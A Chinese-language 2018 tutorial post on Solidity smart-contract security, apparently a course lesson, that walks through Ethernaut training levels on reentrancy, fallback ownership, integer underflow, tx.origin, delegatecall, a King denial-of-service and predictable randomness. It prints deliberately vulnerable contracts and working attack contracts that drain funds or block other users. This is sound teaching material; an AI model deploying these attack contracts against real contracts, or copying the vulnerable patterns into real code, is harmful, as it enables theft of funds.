区块链技术13:区块链安全(2)

区块链技术13:区块链安全(2)

接下来我们继续看一看以太坊中常见的代码编写的安全问题。下面列出了已知的常见的 Solidity 的漏洞类型:

  1. Reentrancy - 重入
  2. Access Control - 访问控制
  3. Arithmetic Issues - 算术问题(整数上下溢出)
  4. Unchecked Return Values For Low Level Calls - 未严格判断不安全函数调用返回值
  5. Denial of Service - 拒绝服务
  6. Bad Randomness - 可预测的随机处理
  7. Front Running
  8. Time manipulation
  9. Short Address Attack - 短地址攻击
  10. Unknown Unknowns - 其他未知

为了让本节更有趣,这次课我们尝试使用在线的remix结合ethernaut看一下上次课的攻击效果。Remix IDE是开发以太坊智能合约的在线IDE工具,部署简单的智能合约非常方便。需要使用谷歌或者火狐的浏览器,且安装了MetaMask 插件。

Ethernaut 是 Zeppelin 提供的一个基于 Web3 和 Solidity 的智能合约审计训练平台,复现了智能合约中可能出现的各种安全问题。现在已经有20+题目。

1. 首先,我们直接来看问题10,reentrancy重入问题。这个问题和我们上次讲的问题很像。

首先来复习一下这个代码的问题,以及如何可以利用这个漏洞。

有了基本思路之后,可以撰写代码:

pragma solidity ^0.4.18;

contract Reentrance {

  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] += msg.value;
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  function() public payable {}
}

contract Attack {

    address instance_address = 0x476a5eebd3587e89d1f4f81b1fa7a724f834a04c;
    Reentrance target = Reentrance(instance_address);

    function Attack() payable{}

    function donate() public payable {
        target.donate.value(msg.value)(this);
    }

    function hack() public {
        target.withdraw(0.5 ether);
    }

    function get_balance() public view returns(uint) {
        return target.balanceOf(this);
    }

    function my_eth_bal() public view returns(uint) {
        return address(this).balance;
    }

    function ins_eth_bal() public view returns(uint) {
        return instance_address.balance;
    }

    function () public payable {
        target.withdraw(0.5 ether);
    }
}

把以上代码拷贝到remix ide中,编译之后将合约部署到网络上,此时查看,可以看到

  • balance 为 0
  • Reentrance 账户余额 1 ether
  • Attack 账户余额 0 ether

然后调用donate函数,以攻击者合约的身份向题目地址转账 1 ether;首先在value处填写1 ether;

然后调用donate函数:

  • balance 为 1
  • Reentrance 账户余额 2 ether
  • Attack 账户余额 0 ether


然后开始攻击,调用hack():

效果如下:

  • balance 下溢
  • Reentrance 账户余额 0 ether
  • Attack 账户余额 2 ether

一般来说,在调用hack的时候会报出不能正确估计gas的问题,尽量多给它一些gas。

如果gas不足,会报错。奇怪的是,居然出现了这种状况:

如果hack正常工作,那么结果如下:

2. 为了巩固对上一个漏洞的理解,我们来接着看第一关,Fallback。

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Fallback is Ownable {

  mapping(address => uint) public contributions;

  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }

  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

这一关中,直接给出了源码,然后要求的通关条件是

  • 成为合约的 owner
  • 清零 balance

合约构造函数 Fallback() 中初始化拥有者贡献度为 1000 ether。
我们可以通过转钱提升贡献度,当贡献度超过 1000 ether 即可成为合约 owner。
但在 contribute() 中限制了每次只能转小于 0.001 ether 的钱。很明显,此路不通。

那请问应该如何通关呢?

然而成为 owner 还有另一种方式,注意到合约的 fallback 函数,即最下的无名函数。当合约账户收到一笔转账时会自动调用 fallback 函数。在这里,只要转账金额大于0,并且贡献大于0,即可成为 owner。

调用 help() 函数,了解下如何进行转钱操作。还需要注意一下 Wei 和 Ether 的转换。

contract.contribute({value: 1})
contract.sendTransaction({value: 1})
contract.withdraw()

这里有另一个问题,如何调用fallback。可以使用instance.sendTransaction({})的方法来触发fallback函数。


3. 这里继续加深对第一个重入问题的理解,在最后一步hack成功之后,自己账户余额是一个很大的数值。这是怎么回事呢?

2**256   = 115792089237316195423570985008687907853269984665640564039457584007913129639936L

这里就涉及到整数的上溢和下溢。

以太坊虚拟机(EVM)为整数指定固定大小的数据类型。这意味着一个整形变量只能表达一定范围的数字。例如,uint8,只能存储[0,255]之间的数字,如果想存储256,那么就会上溢,从而将变量的值变为0。相对应的,如果从一个uint8类型的值为0的变量中减1,就会发生下溢,该变量会变成255。如果不加注意,而且有没有对用户输入执行检查,就有可能发生攻击。

contract TimeLock {

    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = now + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0);
        require(now > lockTime[msg.sender]);
        balances[msg.sender] = 0;
        msg.sender.transfer(balances[msg.sender]);
    }
}

这份合约的设计就像是一个时间保险库,用户可以将 Ether 存入合约,并在那里锁定至少一周。而且通过使用increaseLockTime函数,用户可以延长超过1周的时间,但是一旦存放,用户可以确信他们的 Ether 会被安全锁定至少一周。

上述代码有什么问题呢?(lockTime的时间是uint类型)

那我们来看ethernaut的第5关。

pragma solidity ^0.4.18;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  function Token(uint _initialSupply) {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public constant returns (uint balance) {
    return balances[_owner];
  }
}

同样的,可以利用溢出。


4. 看完前面几个问题之后,继续看一下其他方面的问题。

第四关telephone。

tx.origin是一个address类型,表示交易的发送者,msg.sender则表示为消息的发送者。在同一个合约中,它们是等价的。

pragma solidity ^0.4.18;
contract Demo {
    event logData(address);
    
    function a(){
        logData(tx.origin);
        logData(msg.sender);
    }
}

但是在不同合约中,tx.origin表示用户地址,msg.sender则表示合约地址。

pragma solidity ^0.4.18;
contract Demo {
    event logData(address);
    
    function a(){
        logData(tx.origin);
        logData(msg.sender);
    }
}
contract Demo2{
    Demo demo222;
    function Demo2(address aimAddr) {
        demo222 = Demo(aimAddr);
    }
    function exp(){
        demo222.a();
    }
}

这里的0x2b9....69ae就是合约部署之后的地址。

5. Access Control 访问控制

访问控制,在使用 Solidity 编写合约代码时,有几种默认的变量或函数访问域关键字:private, public, external 和 internal,对合约实例方法来讲,默认可见状态为 public,而合约实例变量的默认可见状态为 private。

  • public 标记函数或变量可以被任何账户调用或获取,可以是合约里的函数、外部用户或继承该合约里的函数
  • external 标记的函数只能从外部访问,不能被合约里的函数直接调用,但可以使用 this.func() 外部调用的方式调用该函数
  • private 标记的函数或变量只能在本合约中使用(注:这里的限制只是在代码层面,以太坊是公链,任何人都能直接从链上获取合约的状态信息)
  • internal 一般用在合约继承中,父合约中被标记成 internal 状态变量或函数可供子合约进行直接访问和调用(外部无法直接获取和调用)

Solidity 中除了常规的变量和函数可见性描述外,这里还需要特别提到的就是两种底层调用方式 calldelegatecall

  • call 的外部调用上下文是外部合约
  • delegatecall 的外部调用上下文是调用合约上下文

DELEGATECALL基本就是说“我是一个合约,我授权(delegating)你对我的storage做任何事情”。delegatecall的安全问题是它必须要能够信任接收方的合约会善待它的storage。DELEGATECALL是对CALLCODE的改进,因为CALLCODE不保存msg.send和msg.value。譬如如果A调用B,B又DELEGATECALL给C,那么在DELEGATECALL中的msg.sender是A,而在CALLCODE中的msg.sender是B。

如果A使用CALL调用B,那么B的代码的运行上下文就是B;如果A使用DELEGATECALL调用B,那么B的代码的运行上下文是A的上下文。简单的用图表示就是:

有了这些背景知识,我们来看一下Ethernaut中的题目,第六关delegation。过关要求是要成为合约实例的owner。

pragma solidity ^0.4.10;

contract Delegate {
    address public owner;

    function Delegate(address _owner) {
        owner = _owner;
    }
    function pwn() {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;

    function Delegation(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }
    function () {
        if (delegate.delegatecall(msg.data)) {
            this;
        }
    }
}

思路其实是很清晰,因为Delegation合约中的delegatecall函数参数可控,导致可以在合约内部执行任意函数,只需调用Delegate合约中的pwn函数,即可将 owner 变成自己。这里需要注意的问题是,delegatecall的参数问题。不是直接把函数名字传递过去。

原因是,这里需要知道Ethereum Virtual Machine(EVM)如何确定执行合约的哪个函数。合约最后都会被编译成bytecode,而发起一个transaction要执行合约里的某个函数时,交易里的data字段同样也是bytecode而不是人看得懂的函数名称。 以一个简单的合约为例:

contract Multiply {

   function multiply(int x, int y) constant returns(int) {

       return x*y; 

    }

}

编译完的bytecode:

6060604052341561000c57fe5b5b60ae8061001b6000396000f30060606040526000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633c4308a814603a575bfe5b3415604157fe5b605e60048080359060200190919080359060200190919050506074565b6040518082815260200191505060405180910390f35b600081830290505b929150505600a165627a7a72305820c40f61d36a3a1b7064b58c57c89d5c3d7c73b9116230f9948806b11836d2960c0029

如果要执行multiply函数,算出8*7等于多少,transaction里的data字段会是

0x3c4308a800000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000007

分成三个部分: 第一个是四个byte的3c4308a8,第二和第三个分别是32 byte长的参数,8和7。

3c4308a8是multiply函式的 signature,是取函数名称和参数类型进行哈希后取前四个byte而得(不包含 0x ):

sha3("multiply(int256,int256)"));
//0x3c4308a8851ef99b4bfa5ffd64b68e5f2b4307725b25ad0d14040bdb81e3bafcsha3("multiply(int256,int256)")).substr(2,8);
//3c4308a8

EVM就是靠函式的signature来知道该执行哪个函式的。在合约编译完的bytecode里搜寻也能找到此signature。


6. DoS拒绝服务攻击

拒绝服务攻击。

这里参看Ethernaut的第九关,king。

合约代码逻辑很简单,谁给的钱多谁就能成为 King,并且将前任 King 付的钱归还。当提交 instance 时,题目会重新夺回 King 的位置,需要解题者阻止其他人成为 King。

然后提交一些币。

回顾一下 Solidity 中几种转币方式。

<address>.transfer()

  • 当发送失败时会 throw; 回滚状态
  • 只会传递部分 Gas 供调用,防止重入(reentrancy)

<address>.send()

  • 当发送失败时会返回 false
  • 只会传递部分 Gas 供调用,防止重入(reentrancy)

<address>.call.value()()

  • 当发送失败时会返回 false
  • 传递所有可用 Gas 供调用,不能有效防止重入(reentrancy)

当我们成为 King 之后,如果有人出价比我们高,会首先把钱退回给我们,使用的是 transfer()。上面提到,当 transfer() 调用失败时会回滚状态,那么如果合约在退钱这一步骤一直调用失败的话,代码将无法继续向下运行,其他人就无法成为新的 King。

部署一个新的合约,当收到转账时主动抛出错误。

pragma solidity ^0.4.18;

contract Attack {
    address instance_address = instance_address_here;

    function Attack() payable{}

    function hack() public {
        instance_address.call.value(1.1 ether)();
    }

    function () public {
        revert();
    }
}

7. Bad Randomness - 可预测的随机处理

伪随机问题一直都存在于现代计算机系统中,但是在开放的区块链中,像在以太坊智能合约中编写的基于随机数的处理逻辑感觉就有点不切实际了,由于人人都能访问链上数据,合约中的存储数据都能在链上查询分析得到。如果合约代码没有严格考虑到链上数据公开的问题去使用随机数,可能会被攻击者恶意利用来进行 “作弊”。

pragma solidity ^0.4.18;

contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number-1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

通关条件

  • 连续猜对 10 次

FACTOR 为 2^255,coinFlip 结果只会为 1 或 0
相当于一个猜硬币正反面的游戏

这是经典的区块链伪随机数的问题。
在以太坊智能合约中编写的基于随机数的处理逻辑是十分危险的,因为区块链上的数据是公开的,所有人都可以看见,利用公开的数据来生成随机数是不明智的。
此外,像 timestamps 这样矿工可控的数据也不宜作为种子。

在这道题中,出题人利用 block.blockhash(block.number-1) 来生成随机数,这是可预测的。我们可以部署一个新的合约,先进行随机数的预测,再进行竞猜。

pragma solidity ^0.4.18;

contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number-1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

contract Attack {
  CoinFlip fliphack;
  address instance_address = instance_address_here;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function Attack() {
    fliphack = CoinFlip(instance_address);
  }

  function predict() public view returns (bool){
    uint256 blockValue = uint256(block.blockhash(block.number-1));
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    return coinFlip == 1 ? true : false;
  }

  function hack() public {
    bool guess = predict();
    fliphack.flip(guess);
  }
}

只需调用 10 次 hack() 函数即可。



P.S.

  1. 遇上了meatamask 无限转圈的问题,最后发现是版本问题,下载一个老版本就行。但是extension store没有老版本,后来还是github上发现,在chrome://extensions右上角打开开发者模式,然后可以选择文件夹。


参考:

  1. Solidity Security: Comprehensive list of known attack vectors and common anti-patterns
  2. github.com/slowmist/Kno
  3. 以太坊交易源码分析 - 鑫鑫点灯 - CSDN博客
  4. anquanke.com/post/id/14
  5. Ethernaut Lvl 0 Walkthrough: ABIs, Web3, and how to abuse them
  6. 干货 | Solidity 安全:已知攻击方法和常见防御模式综合列表,Part-1:可重入漏洞、算法上下溢出
  7. Solidity 安全:已知攻击方法和常见防御模式综合列表
  8. 智能合约 - Ethernaut Game(上)
  9. trufflesuite/truffle-contract
  10. 以太坊ABI介绍 - OrcHome
  11. 如何理解以太坊ABI - 应用程序二进制接口
  12. remix.ethereum.org/#
  13. metamask 无限转圈 loading
  14. 以太坊智能合约安全入门了解一下(上)
  15. 以太坊智能合约安全入门了解一下(下)
  16. Difference between CALL, CALLCODE and DELEGATECALL
  17. 教程 | 在区块链上建立可更新的智慧合约(一)
  18. Solidity中的delegatecall杂谈 - 安全客,安全资讯平台
  19. 从Ethernaut学习智能合约审计(二) - Bubbles~blog
  20. medium.com/loom-network
编辑于 2018-11-15

文章被以下专栏收录